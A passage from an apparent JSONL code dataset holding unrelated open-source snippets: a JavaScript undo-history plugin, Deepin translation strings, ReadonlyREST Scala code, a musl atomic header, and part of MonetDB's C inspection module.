function(){\n\t\t\tthis.ui.events.on(this.ui.events.KEYDOWN, this.onKeyDown);\n\t\t},\n\t\treset: function(){\n\t\t\tthis.buffer = [];\n\t\t\tthis.data = {};\n\t\t\tthis.step = 0;\n\t\t\tthis.currentOffset = 0;\n\t\t\tlocalStorage.removeItem(this.name);\n\t\t\tthis.save();\n\t\t},\n\t\tinstallUI: function(){\n\t\t\tvar that = this;\n\t\t\t\n\t\t\tvar stored = localStorage.getItem(this.name);\n\t\t\t\n\t\t\tif(!stored){\n\t\t\t\tthis.data = {};\n\t\t\t}\n\t\t\telse{\n\t\t\t\tthis.data = JSON.parse(stored);\n\t\t\t}\n\n\t\t\tif(this.data[this.project.id]){\n\t\t\t\tthis.buffer = this.data[this.project.id];\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tthis.step = this.buffer.length;\n\t\t\tthis.data[this.project.id] = this.buffer;\n\t\t\t\n\t\t\tthis.om = this.project.plugins.objectmanager;\n\t\t\tthis.om.on(MT.OBJECTS_SYNC, function(data){\n\t\t\t\t\n\t\t\t\tvar str = JSON.stringify(data);\n\t\t\t\t\n\t\t\t\tif(that.buffer[that.step-1] == str){\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(that.step > that.max){\n\t\t\t\t\tthat.buffer.shift();\n\t\t\t\t\tthat.step--;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tthat.buffer[that.step] = str;\n\t\t\t\tthat.step++;\n\t\t\t\tthat.buffer.length = that.step;\n\t\t\t\tthat.save();\n\t\t\t});\n\t\t\t\n\t\t\tthis.om.on(MT.OBJECTS_UPDATED, function(data){\n\t\t\t\tif(that.buffer.length == 0){\n\t\t\t\t\tthat.buffer.push(JSON.stringify(data));\n\t\t\t\t\tthat.step++;\n\t\t\t\t}\n\t\t\t});\n\t\t\t\n\t\t\t\n\t\t\tthis.enable();\n\t\t\t\n\t\t},\n\t\t// cleanup up something from older projects\n\t\tcleanUp: function(){\n\t\t\tfor(var i in this.data){\n\t\t\t\tthis.data[i].shift();\n\t\t\t}\n\t\t\tthis.checkLocalStorageCapacity();\n\t\t\tthis.currentOffset = 0;\n\t\t},\n\t\tlastSave: 0,\n\t\tsave: function(){\n\t\t\t\n\t\t\tif(Date.now() - this.lastSave > 100){\n\t\t\t\tthis._save();\n\t\t\t\tthis.lastSave = Date.now();\n\t\t\t}\n\t\t\tconsole.log(\"save\");\n\t\t},\n\t\t\n\t\t_save: function(){\n\t\t\tvar str = JSON.stringify(this.buffer);\n\t\t\tvar off = this.currentOffset;\n\t\t\t\n\t\t\tif(this.step - off <= 0){\n\t\t\t\tthis.cleanUp();\n\t\t\t\toff = this.currentOffset;\n\t\t\t}\n\t\t\t\n\t\t\twhile(str.length > this.capacity && off < this.step){\n\t\t\t\toff++;\n\t\t\t\tstr = JSON.stringify(this.buffer.slice(off, this.step));\n\t\t\t}\n\t\t\tthis.currentOffset = off;\n\t\t\t\n\t\t\ttry{\n\t\t\t\tlocalStorage.setItem(this.name, JSON.stringify(this.data) );\n\t\t\t}\n\t\t\tcatch(e){\n\t\t\t\toff++;\n\t\t\t\tthis.buffer.slice(this.step - off, this.step);\n\t\t\t\tthis.save();\n\t\t\t}\n\t\t},\n\t\t\n\t\tcheckLocalStorageCapacity: function(){\n\t\t\tvar str = \"x\";\n\t\t\tvar ret = 0;\n\t\t\tvar koef = 1;\n\t\t\t\n\t\t\twhile(true){\n\t\t\t\tstr += str.substring(0, str.length*koef | 0);\n\t\t\t\ttry{\n\t\t\t\t\tlocalStorage.setItem(\"test\", str);\n\t\t\t\t\tret = str.length;\n\t\t\t\t}\n\t\t\t\tcatch(e){\n\t\t\t\t\tkoef -= 0.1;\n\t\t\t\t\tif(koef < 0.1){\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tstr = str.substring(0, ret);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tlocalStorage.removeItem(\"test\");\n\t\t\t\n\t\t\tthis.capacity = ret;\n\t\t}\n\n\t}\n);\n\n"}
+{"text": "(17 ethiopianMultiplyBy: 34 withTutor: true) displayNl.\n"}
+{"text": "\n\n    DeepinStorage\n    \n        \n        \n        %1 Volume\n        Volumen %1\n    \n\n\n    DiskControlWidget\n    \n        \n        \n        \n        \n        Disk is busy, cannot eject now\n        El disco está ocupado, no se puede expulsar ahora\n    \n    \n        \n        dde-file-manager\n        dde-gestor-de-archivos\n    \n\n\n    DiskMountPlugin\n    \n        \n        Disk\n        Disco\n    \n    \n        \n        Open\n        Abrir\n    \n    \n        \n        Unmount all\n        Desmontar todo\n    \n\n\n    QObject\n    \n        \n        Device has been removed\n        El dispositivo ha sido retirado\n    \n\n"}
+{"text": "/*\n *    This file is part of ReadonlyREST.\n *\n *    ReadonlyREST is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    ReadonlyREST is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with ReadonlyREST.  If not, see http://www.gnu.org/licenses/\n */\npackage tech.beshu.ror.es.request.context\n\nimport cats.implicits._\nimport monix.eval.Task\nimport org.apache.logging.log4j.scala.Logging\nimport org.elasticsearch.action.ActionResponse\nimport org.elasticsearch.threadpool.ThreadPool\nimport tech.beshu.ror.accesscontrol.blocks.BlockContext\n\nimport scala.util.Try\n\ntrait EsRequest[B <: BlockContext] extends Logging {\n  def threadPool: ThreadPool\n\n  final def modifyUsing(blockContext: B): ModificationResult = {\n    modifyCommonParts(blockContext)\n    Try(modifyRequest(blockContext))\n      .fold(\n        ex => {\n          logger.error(s\"[${blockContext.requestContext.id.show}] Cannot modify request with filtered data\", ex)\n          ModificationResult.CannotModify\n        },\n        identity\n      )\n  }\n\n  def modifyWhenIndexNotFound: ModificationResult = ModificationResult.CannotModify\n\n  def modifyWhenAliasNotFound: ModificationResult = ModificationResult.CannotModify\n\n  protected def modifyRequest(blockContext: B): ModificationResult\n\n  private def modifyCommonParts(blockContext: B): Unit = {\n    modifyResponseHeaders(blockContext)\n    modifyThreadContextHeaders(blockContext)\n  }\n\n  private def modifyResponseHeaders(blockContext: B): Unit = {\n    val threadContext = threadPool.getThreadContext\n    blockContext.responseHeaders.foreach(header =>\n      threadContext.addResponseHeader(header.name.value.value, header.value.value))\n  }\n\n  private def modifyThreadContextHeaders(blockContext: B): Unit = {\n    val threadContext = threadPool.getThreadContext\n    blockContext.contextHeaders.foreach(header =>\n      threadContext.putHeader(header.name.value.value, header.value.value))\n  }\n}\n\nsealed trait ModificationResult\nobject ModificationResult {\n  case object Modified extends ModificationResult\n  case object CannotModify extends ModificationResult\n  case object ShouldBeInterrupted extends ModificationResult\n  final case class CustomResponse(response: ActionResponse) extends ModificationResult\n  final case class UpdateResponse(update: ActionResponse => Task[ActionResponse]) extends ModificationResult\n}"}
+{"text": "module.exports = require('./getOr');\n"}
+{"text": "# CMS Scripts\n\n##wordpress.sh\nThis script will install and configure Wordpress.  This stack includes Apache2, PHP7, and MySQL. \n\n## wordpress-openlitespeed.sh\nThis script will install and configure WordPress with OpenLiteSpeed, LSPHP and MariaDB with a single click. The only thing the user may want to do is log into the WordPress admin dashboard and customize the site. \n\nThe script will appear to complete, but will need up to 3 more minutes to actually finish. After this time, browsing to your droplet's assigned IP will take you to your WordPress site.\n\n_Note: Settings, such as the site title, the domain, and so on can be changed from the WordPress admin dashboard._\n"}
+{"text": "#ifndef _INTERNAL_ATOMIC_H\n#define _INTERNAL_ATOMIC_H\n\n#include \n\nstatic inline int a_ctz_l(unsigned long x)\n{\n\tstatic const char debruijn32[32] = {\n\t\t0, 1, 23, 2, 29, 24, 19, 3, 30, 27, 25, 11, 20, 8, 4, 13,\n\t\t31, 22, 28, 18, 26, 10, 7, 12, 21, 17, 9, 6, 16, 5, 15, 14\n\t};\n\treturn debruijn32[(x&-x)*0x076be629 >> 27];\n}\n\nstatic inline int a_ctz_64(uint64_t x)\n{\n\tuint32_t y = x;\n\tif (!y) {\n\t\ty = x>>32;\n\t\treturn 32 + a_ctz_l(y);\n\t}\n\treturn a_ctz_l(y);\n}\n\nstatic inline int a_cas(volatile int *p, int t, int s)\n{\n\tregister int old, tmp;\n\t__asm__ __volatile__ (\n\t\t\"\taddi %0, r0, 0\\n\"\n\t\t\"1:\tlwx %0, %2, r0\\n\"\n\t\t\"\trsubk %1, %0, %3\\n\"\n\t\t\"\tbnei %1, 1f\\n\"\n\t\t\"\tswx %4, %2, r0\\n\"\n\t\t\"\taddic %1, r0, 0\\n\"\n\t\t\"\tbnei %1, 1b\\n\"\n\t\t\"1:\t\"\n\t\t: \"=&r\"(old), \"=&r\"(tmp)\n\t\t: \"r\"(p), \"r\"(t), \"r\"(s)\n\t\t: \"cc\", \"memory\" );\n\treturn old;\n}\n\nstatic inline void *a_cas_p(volatile void *p, void *t, void *s)\n{\n\treturn (void *)a_cas(p, (int)t, (int)s);\n}\n\nstatic inline int a_swap(volatile int *x, int v)\n{\n\tregister int old, tmp;\n\t__asm__ __volatile__ (\n\t\t\"\taddi %0, r0, 0\\n\"\n\t\t\"1:\tlwx %0, %2, r0\\n\"\n\t\t\"\tswx %3, %2, r0\\n\"\n\t\t\"\taddic %1, r0, 0\\n\"\n\t\t\"\tbnei %1, 1b\\n\"\n\t\t\"1:\t\"\n\t\t: \"=&r\"(old), \"=&r\"(tmp)\n\t\t: \"r\"(x), \"r\"(v)\n\t\t: \"cc\", \"memory\" );\n\treturn old;\n}\n\nstatic inline int a_fetch_add(volatile int *x, int v)\n{\n\tregister int new, tmp;\n\t__asm__ __volatile__ (\n\t\t\"\taddi %0, r0, 0\\n\"\n\t\t\"1:\tlwx %0, %2, r0\\n\"\n\t\t\"\taddk %0, %0, %3\\n\"\n\t\t\"\tswx %0, %2, r0\\n\"\n\t\t\"\taddic %1, r0, 0\\n\"\n\t\t\"\tbnei %1, 1b\\n\"\n\t\t\"1:\t\"\n\t\t: \"=&r\"(new), \"=&r\"(tmp)\n\t\t: \"r\"(x), \"r\"(v)\n\t\t: \"cc\", \"memory\" );\n\treturn new-v;\n}\n\nstatic inline void a_inc(volatile int *x)\n{\n\ta_fetch_add(x, 1);\n}\n\nstatic inline void a_dec(volatile int *x)\n{\n\ta_fetch_add(x, -1);\n}\n\nstatic inline void a_store(volatile int *p, int x)\n{\n\t__asm__ __volatile__ (\n\t\t\"swi %1, %0\"\n\t\t: \"=m\"(*p) : \"r\"(x) : \"memory\" );\n}\n\n#define a_spin a_barrier\n\nstatic inline void a_barrier()\n{\n\ta_cas(&(int){0}, 0, 0);\n}\n\nstatic inline void a_crash()\n{\n\t*(volatile char *)0=0;\n}\n\nstatic inline void a_and(volatile int *p, int v)\n{\n\tint old;\n\tdo old = *p;\n\twhile (a_cas(p, old, old&v) != old);\n}\n\nstatic inline void a_or(volatile int *p, int v)\n{\n\tint old;\n\tdo old = *p;\n\twhile (a_cas(p, old, old|v) != old);\n}\n\nstatic inline void a_or_l(volatile void *p, long v)\n{\n\ta_or(p, v);\n}\n\nstatic inline void a_and_64(volatile uint64_t *p, uint64_t v)\n{\n\tunion { uint64_t v; uint32_t r[2]; } u = { v };\n\ta_and((int *)p, u.r[0]);\n\ta_and((int *)p+1, u.r[1]);\n}\n\nstatic inline void a_or_64(volatile uint64_t *p, uint64_t v)\n{\n\tunion { uint64_t v; uint32_t r[2]; } u = { v };\n\ta_or((int *)p, u.r[0]);\n\ta_or((int *)p+1, u.r[1]);\n}\n\n#endif\n"}
+{"text": "\n\n\n    \n\n\n    
      Redirecting to ../../libc/struct.stat.html...
      \n    \n\n"}
+{"text": "/*\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0.  If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/.\n *\n * Copyright 1997 - July 2008 CWI, August 2008 - 2020 MonetDB B.V.\n */\n\n/*\n * author Martin Kersten\n * Inspection\n * This module introduces a series of commands that provide access\n * to information stored within the interpreter data structures.\n * It's primary use is debugging.\n * In all cases, the pseudo BAT operation is returned that\n * should be garbage collected after being used.\n *\n * The main performance drain would be to use a pseudo BAT directly to\n * successively access it components. This can be avoided by first assigning\n * the pseudo BAT to a variable.\n */\n#include \"monetdb_config.h\"\n#include \"gdk.h\"\n#include \n#include \"mal_resolve.h\"\n#include \"mal_client.h\"\n#include \"mal_exception.h\"\n#include \"mal_debugger.h\"\n#include \"mal_interpreter.h\"\n#include \"mal_listing.h\"\n#include \"mal_namespace.h\"\n\nstatic int\npseudo(bat *ret, BAT *b, str X1,str X2, str X3) {\n\tchar buf[BUFSIZ];\n\tsnprintf(buf,BUFSIZ,\"%s_%s_%s\", X1,X2,X3);\n\tif (BBPindex(buf) <= 0 && BBPrename(b->batCacheid, buf) != 0)\n\t\treturn -1;\n\tif (BATroles(b,X2) != GDK_SUCCEED)\n\t\treturn -1;\n\t*ret = b->batCacheid;\n\tBBPkeepref(*ret);\n\treturn 0;\n}\n\n/*\n * Symbol table\n * Mal symbol table and environment analysis.\n *\n * Collect symbol table information in a series of BATs for analysis\n * and display. Note, the elements are aligned using a counter,\n * which makes it susceptable for intermediate updates\n */\n\nstatic str\nINSPECTgetAllFunctions(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tModule s;\n\tSymbol t;\n\tint i, j;\n\tModule* moduleList;\n\tint length;\n\tBAT *b = COLnew(0, TYPE_str, 256, TRANSIENT);\n\tbat *ret = getArgReference_bat(stk,pci,0);\n\n\t(void) mb;\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.getgetFunctionId\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\tgetModuleList(&moduleList, &length);\n\tif (moduleList == NULL)\n\t\tgoto bailout;\n\tfor(j = -1; j < length; j++) {\n\t\ts = j < 0 ? cntxt->usermodule : moduleList[j];\n\t\tfor (i = 0; s && i < MAXSCOPE; i++) {\n\t\t\tif (s->space[i]) {\n\t\t\t\tfor (t = s->space[i]; t; t = t->peer) {\n\t\t\t\t\tInstrPtr sig = getSignature(t);\n\t\t\t\t\tif (BUNappend(b, getFunctionId(sig), false) != GDK_SUCCEED)\n\t\t\t\t\t\tgoto bailout;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif (pseudo(ret,b,\"view\",\"symbol\",\"function\"))\n\t\tgoto bailout;\n\tfreeModuleList(moduleList);\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tfreeModuleList(moduleList);\n\tthrow(MAL, \"inspect.getgetFunctionId\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\nstatic str\nINSPECTgetAllModules(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tModule s;\n\tSymbol t;\n\tint i, j;\n\tModule* moduleList;\n\tint length;\n\tBAT *b = COLnew(0, TYPE_str, 256, TRANSIENT);\n\tbat *ret = getArgReference_bat(stk,pci,0);\n\n\t(void) mb;\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.getmodule\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\tgetModuleList(&moduleList, &length);\n\tif (moduleList == NULL)\n\t\tgoto bailout;\n\tfor(j = -1; j < length; j++) {\n\t\ts = j < 0 ? cntxt->usermodule : moduleList[j];\n\t\tfor (i = 0; s && i < MAXSCOPE; i++) {\n\t\t\tif (s->space[i]) {\n\t\t\t\tfor (t = s->space[i]; t; t = t->peer) {\n\t\t\t\t\tInstrPtr sig = getSignature(t);\n\n\t\t\t\t\tif (BUNappend(b, getModuleId(sig), false) != GDK_SUCCEED)\n\t\t\t\t\t\tgoto bailout;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif (pseudo(ret,b,\"view\",\"symbol\",\"module\"))\n\t\tgoto bailout;\n\tfreeModuleList(moduleList);\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tfreeModuleList(moduleList);\n\tBBPreclaim(b);\n\tthrow(MAL, \"inspect.getmodule\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\nstatic str\nINSPECTgetkind(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tModule s;\n\tSymbol t;\n\tint i, j;\n\tModule* moduleList;\n\tint length;\n\tBAT *b = COLnew(0, TYPE_str, 256, TRANSIENT);\n\tbat *ret = getArgReference_bat(stk,pci,0);\n\n\t(void)mb;\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.get\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\tgetModuleList(&moduleList, &length);\n\tif (moduleList == NULL)\n\t\tgoto bailout;\n\tfor(j = -1; j < length; j++) {\n\t\ts = j < 0 ? cntxt->usermodule : moduleList[j];\n\t\tfor (i = 0; s && i < MAXSCOPE; i++) {\n\t\t\tif (s->space[i]) {\n\t\t\t\tfor (t = s->space[i]; t; t = t->peer) {\n\t\t\t\t\tInstrPtr sig = getSignature(t);\n\t\t\t\t\tstr kind = operatorName(sig->token);\n\t\t\t\t\tif (BUNappend(b, kind, false) != GDK_SUCCEED)\n\t\t\t\t\t\tgoto bailout;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif (pseudo(ret,b,\"view\",\"symbol\",\"kind\"))\n\t\tgoto bailout;\n\tfreeModuleList(moduleList);\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tfreeModuleList(moduleList);\n\tthrow(MAL, \"inspect.get\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\nstatic str\nINSPECTgetAllSignatures(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tModule s;\n\tSymbol t;\n\tint i, j;\n\tModule* moduleList;\n\tint length;\n\tBAT *b = COLnew(0, TYPE_str, 256, TRANSIENT);\n\tchar sig[BLOCK],*a;\n\tbat *ret = getArgReference_bat(stk,pci,0);\n\n\t(void)mb;\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.get\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\tgetModuleList(&moduleList, &length);\n\tif (moduleList == NULL)\n\t\tgoto bailout;\n\tfor(j = -1; j < length; j++) {\n\t\ts = j < 0 ? cntxt->usermodule : moduleList[j];\n\t\tfor (i = 0; s && i < MAXSCOPE; i++)\n\t\t\tif (s->space[i]) {\n\t\t\t\tfor (t = s->space[i]; t; t = t->peer) {\n\t\t\t\t\tfcnDefinition(t->def, getSignature(t), sig, 0,sig,BLOCK);\n\t\t\t\t\ta= strstr(sig,\"address\");\n\t\t\t\t\tif(a) *a = 0;\n\t\t\t\t\tif (BUNappend(b, (a = strchr(sig, '(')) ? a : \"\", false) != GDK_SUCCEED)\n\t\t\t\t\t\tgoto bailout;\n\t\t\t\t}\n\t\t\t}\n\t}\n\tif (pseudo(ret,b,\"view\",\" symbol\",\"address\"))\n\t\tgoto bailout;\n\tfreeModuleList(moduleList);\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tfreeModuleList(moduleList);\n\tthrow(MAL, \"inspect.get\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\n#if 0\nstatic str\nINSPECTgetAllAddresses(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tModule s;\n\tSymbol t;\n\tint i, j;\n\tModule* moduleList;\n\tint length;\n\tBAT *b = COLnew(0, TYPE_str, 256, TRANSIENT);\n\tchar sig[BLOCK],*a;\n\tbat *ret = getArgReference_bat(stk,pci,0);\n\n\t(void)mb;\n\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.get\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\tgetModuleList(&moduleList, &length);\n\tif (moduleList == NULL)\n\t\tgoto bailout;\n\tfor(j = -1; j < length; j++) {\n\t\ts = j < 0 ? cntxt->usermodule : moduleList[j];\n\t\tfor (i = 0; s && i < MAXSCOPE; i++)\n\t\t\tif (s->space[i]) {\n\t\t\t\tfor (t = s->space[i]; t; t = t->peer) {\n\t\t\t\t\tfcnDefinition(t->def, getSignature(t), sig, 0,sig,BLOCK);\n\t\t\t\t\ta= strstr(sig,\"address\");\n\t\t\t\t\tif( a)\n\t\t\t\t\t\tfor( a=a+7; isspace((unsigned char) *a); a++)\n\t\t\t\t\t\t\t;\n\t\t\t\t\tif (BUNappend(b, (a? a: \"nil\"), false) != GDK_SUCCEED)\n\t\t\t\t\t\tgoto bailout;\n\t\t\t\t}\n\t\t\t}\n\t}\n\tif (pseudo(ret,b,\"view\",\" symbol\",\"address\"))\n\t\tgoto bailout;\n\tfreeModuleList(moduleList);\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tfreeModuleList(moduleList);\n\tthrow(MAL, \"inspect.get\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n#endif\n\nstatic str\nINSPECTgetDefinition(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tbat *ret = getArgReference_bat(stk,pci,0);\n\tstr *mod = getArgReference_str(stk,pci,1);\n\tstr *fcn = getArgReference_str(stk,pci,2);\n\tSymbol s;\n\tBAT *b;\n\t(void)mb;\n\n\ts = findSymbol(cntxt->usermodule, putName(*mod), putName(*fcn));\n\tif (s == 0)\n\t\tthrow(MAL, \"inspect.getDefinition\", RUNTIME_SIGNATURE_MISSING);\n\n\tb = COLnew(0, TYPE_str, 256, TRANSIENT);\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.getDefinition\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\twhile (s) {\n\t\tint i;\n\t\tstr ps;\n\n\t\tfor (i = 0; i < s->def->stop; i++) {\n\t\t\tif((ps = instruction2str(s->def,0, getInstrPtr(s->def, i), 0)) == NULL)\n\t\t\t\tgoto bailout;\n\t\t\tif (BUNappend(b, ps + 1, false) != GDK_SUCCEED) {\n\t\t\t\tGDKfree(ps);\n\t\t\t\tgoto bailout;\n\t\t\t}\n\t\t\tGDKfree(ps);\n\t\t}\n\t\ts = s->peer;\n\t}\n\tif (pseudo(ret,b,\"view\",\"fcn\",\"stmt\"))\n\t\tgoto bailout;\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tthrow(MAL, \"inspect.getDefinition\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\nstatic str\nINSPECTgetSignature(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tbat *ret = getArgReference_bat(stk,pci,0);\n\tstr *mod = getArgReference_str(stk,pci,1);\n\tstr *fcn = getArgReference_str(stk,pci,2);\n\tSymbol s;\n\tstr ps, tail;\n\tBAT *b;\n\t(void) mb;\n\n\ts = findSymbol(cntxt->usermodule, getName(*mod), putName(*fcn));\n\tif (s == 0)\n\t\tthrow(MAL, \"inspect.getSignature\", RUNTIME_SIGNATURE_MISSING);\n\tb = COLnew(0, TYPE_str, 12, TRANSIENT);\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.getSignature\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\twhile (s != NULL) {\n\t\tif (idcmp(s->name, *fcn) == 0) {\n\t\t\tInstrPtr p = getSignature(s);\n\t\t\tchar *c, *w;\n\n\t\t\tps = instruction2str(s->def, 0, p, 0);\n\t\t\tif (ps == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tc = strchr(ps, '(');\n\t\t\tif (c == 0) {\n\t\t\t\tGDKfree(ps);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\ttail= strstr(c,\"address\");\n\t\t\tif( tail)\n\t\t\t\t*tail = 0;\n\t\t\tif (tail && (w=strchr(tail, ';')) )\n\t\t\t\t*w = 0;\n\t\t\tif (BUNappend(b, c, false) != GDK_SUCCEED) {\n\t\t\t\tGDKfree(ps);\n\t\t\t\tgoto bailout;\n\t\t\t}\n\t\t\tGDKfree(ps);\n\t\t}\n\t\ts = s->peer;\n\t}\n\n\tif (pseudo(ret,b,\"view\",\"input\",\"result\"))\n\t\tgoto bailout;\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tthrow(MAL, \"inspect.getSignature\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\nstatic str\nINSPECTgetComment(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tbat *ret = getArgReference_bat(stk,pci,0);\n\tstr *mod = getArgReference_str(stk,pci,1);\n\tstr *fcn = getArgReference_str(stk,pci,2);\n\tSymbol s;\n\tBAT *b;\n\t(void) mb;\n\n\ts = findSymbol(cntxt->usermodule, getName(*mod), putName(*fcn));\n\tif (s == 0)\n\t\tthrow(MAL, \"inspect.getComment\", RUNTIME_SIGNATURE_MISSING);\n\tb = COLnew(0, TYPE_str, 12, TRANSIENT);\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.getComment\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\twhile (s != NULL) {\n\t\tif (idcmp(s->name, *fcn) == 0 &&\n\t\t\tBUNappend(b, s->def->help, false) != GDK_SUCCEED)\n\t\t\tgoto bailout;\n\t\ts = s->peer;\n\t}\n\n\tif (pseudo(ret,b,\"view\",\"input\",\"result\"))\n\t\tgoto bailout;\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tthrow(MAL, \"inspect.getComment\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\nstatic str\nINSPECTgetSource(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tstr *ret = getArgReference_str(stk,pci,0);\n\tstr *mod = getArgReference_str(stk,pci,1);\n\tstr *fcn = getArgReference_str(stk,pci,2);\n\tSymbol s;\n\tchar *buf;\n\tsize_t len,lim;\n\t(void) mb;\n\n\ts = findSymbol( cntxt->usermodule, getName(*mod), putName(*fcn));\n\tif (s == 0)\n\t\tthrow(MAL, \"inspect.getSource\", RUNTIME_SIGNATURE_MISSING);\n\n\tbuf= (char*) GDKmalloc(BUFSIZ);\n\tif ( buf == NULL)\n\t\tthrow(MAL, \"inspect.getSource\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\tsnprintf(buf,BUFSIZ,\"%s.%s\",*mod,*fcn);\n\tbuf[0]=0;\n\tlen= 0;\n\tlim= BUFSIZ;\n\n\twhile (s) {\n\t\tint i;\n\t\tstr ps;\n\n\t\tfor (i = 0; i < s->def->stop; i++) {\n\t\t\tif((ps = instruction2str(s->def, 0, getInstrPtr(s->def, i), LIST_MAL_NAME )) == NULL) {\n\t\t\t\tGDKfree(buf);\n\t\t\t\tthrow(MAL, \"inspect.getSource\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\t\t\t}\n\t\t\tif( strlen(ps) >= lim-len){\n\t\t\t\t/* expand the buffer */\n\t\t\t\tchar *bn;\n\t\t\t\tbn= GDKrealloc(buf, lim+BUFSIZ);\n\t\t\t\tif ( bn == NULL) {\n\t\t\t\t\tGDKfree(ps);\n\t\t\t\t\tGDKfree(buf);\n\t\t\t\t\tthrow(MAL, \"inspect.getSource\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\t\t\t\t}\n\t\t\t\tbuf=bn;\n\t\t\t\tlim+= BUFSIZ;\n\t\t\t}\n\t\t\tstrcat(buf+len,ps);\n\t\t\tlen+= strlen(ps);\n\t\t\tbuf[len++]='\\n';\n\t\t\tbuf[len]=0;\n\t\t\tGDKfree(ps);\n\t\t}\n\t\ts = s->peer;\n\t}\n\t*ret= buf;\n\treturn MAL_SUCCEED;\n}\n\nstatic str\nINSPECTatom_names(bat *ret)\n{\n\tint i;\n\tBAT *b = COLnew(0, TYPE_str, 256, TRANSIENT);\n\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.getAtomNames\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\tfor (i = 0; i < GDKatomcnt; i++)\n\t\tif (BUNappend(b, ATOMname(i), false) != GDK_SUCCEED)\n\t\t\tgoto bailout;\n\n\tif (pseudo(ret,b,\"view\",\"atom\",\"name\"))\n\t\tgoto bailout;\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tthrow(MAL, \"inspect.getAtomNames\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\nstatic str\nINSPECTgetEnvironment(bat *ret, bat *ret2)\n{\n\tBAT *k, *v;\n\n\tif (GDKcopyenv(&k, &v, false) != GDK_SUCCEED)\n\t\tthrow(MAL, \"inspect.getEnvironment\", GDK_EXCEPTION);\n\n\tBBPkeepref(*ret = k->batCacheid);\n\tBBPkeepref(*ret2 = v->batCacheid);\n\treturn MAL_SUCCEED;\n}\n\nstatic str\nINSPECTgetEnvironmentKey(str *ret, str *key)\n{\n\tconst char *s;\n\t*ret = 0;\n\n\ts= GDKgetenv(*key);\n\tif (s == 0)\n\t\ts= getenv(*key);\n\tif (s == 0)\n\t\tthrow(MAL, \"inspect.getEnvironment\", \"environment variable '%s' not found\", *key);\n\t*ret = GDKstrdup(s);\n\tif (*ret == NULL)\n\t\tthrow(MAL, \"inspect.getEnvironment\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\treturn MAL_SUCCEED;\n}\n\nstatic str\nINSPECTatom_sup_names(bat *ret)\n{\n\tint i, k;\n\tBAT 